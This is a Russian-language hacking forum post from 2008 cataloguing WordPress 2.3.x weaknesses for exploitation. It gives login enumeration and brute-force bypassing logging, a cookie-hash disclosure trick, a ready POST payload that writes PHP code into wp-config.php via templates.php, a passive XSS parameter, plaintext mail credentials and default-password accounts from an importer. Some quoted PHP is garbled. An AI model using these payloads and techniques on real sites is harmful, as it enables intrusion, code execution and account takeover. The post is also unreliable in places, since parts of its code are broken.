Показать сообщение отдельно

  #31  
Старый 24.01.2008, 06:35
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
С нами: 10752806

Репутация: 1202


По умолчанию


=====================

Изменения в версиях для общего ознакомления:

_http://trac.wordpress.org/changeset?old_path=tags%2F2.3.1&old=6528&new_path= tags%2F2.3.2&new=6528

_http://trac.wordpress.org/query?component=Security&milestone=2.3.2&order=pri ority

=====================

Описание: Перебор логина/пароля в обход логирования.

Возможность определение логина, перебора пароля через куки(wp-login.php), базик-авторизацию(wp-app.php).

PHP код:
function wp_login()

__('<strong>ERROR</strong>: Invalid username.');
__('<strong>ERROR</strong>: Incorrect password.'); 
========================

Описание: Раскрытие COOKIEHASH.

Иногда бывают траблы с формированием куков для эксплоита.
Обычно это происходит, если блог работает на несколько доменов/субдоменов сразу.
"siteurl" добытый из базы не подходит.
В хидере нас вернется пустой кукис с префиксом.

/wp-login.php?action=logout

/wp-pass.php

=====================

Описание: Права админа: Запись в wp-config.php

Отстутствие проверки имени файла при записи.

Читать в wp-config.php нельзя. Но при записи забыли поставить проверку.

Можно указать свой удаленный сервер и поадминить блог через свою бд.


Читать нельзя:
/wp-admin/templates.php?file=wp-config.php

Но можно писать:
/wp-admin/templates.php
POST: newcontent=<?php;phpinfo();?>&action=update&file=w p-config.php

=====================

Описание: Passive XSS $_POST['pages-sortby']

Права: админ

Примеры уязвимого кода:

/wp-admin/widgets.php

PHP код:
function wp_widget_pages_control() {

        $sortby = stripslashes( $_POST['pages-sortby'] );

                    <option value="post_title"<?php selected$options['sortby'], 'post_title' ); ?>><?php _e('Page title'); ?></option>
                    <option value="menu_order"<?php selected$options['sortby'], 'menu_order' ); ?>><?php _e('Page order'); ?></option>
                    <option value="ID"<?php selected$options['sortby'], 'ID' ); ?>><?php _e'Page ID' ); ?></option>
=====================

Описание: Хранение пароля и логина админа к мылу в открытом виде в бд, отображение в админке.

/wp-admin/options-writing.php

wp_options
-mailserver_login
-mailserver_pass

=====================

Описание: При импорте блога, если присутствуют посты без автора(анонимы), создается юзверь с дефолтными настройками.

Тоесть возможно существование учеток с дефолтным паролем "password".

Примеры уязвимого кода:

/wp-admin/import/greymatter.php

PHP код:
                $user_id username_exists($post_author);
                if (!
$user_id) {    // if deleted from GM, we register the author as a level 0 user
                    
$user_ip="127.0.0.1";
                    
$user_domain="localhost";
                    
$user_browser="server";
                    
$user_joindate="1979-06-06 00:41:00";
                    
$user_login=$wpdb->escape($post_author);
                    
$pass1=$wpdb->escape("password");
                    
$user_nickname=$wpdb->escape($post_author);
                    
$user_email=$wpdb->escape("user@deleted.com");
                    
$user_url=$wpdb->escape("");
                    
$user_joindate=$wpdb->escape($user_joindate);

                    
$user_info = array("user_login"=>$user_login"user_pass"=>$pass1"user_nickname"=>$user_nickname"user_email"=>$user_email"user_url"=>$user_url"user_ip"=>$user_ip"user_domain"=>$user_domain"user_browser"=>$user_browser"dateYMDhour"=>$user_joindate"user_level"=>0"user_idmode"=>"nickname");
                    
$user_id wp_insert_user($user_info);
                    
$this->gmnames[$postinfo[1]] = $user_id

=====================

Последний раз редактировалось Elekt; 28.01.2008 в 01:22..
 
Ответить с цитированием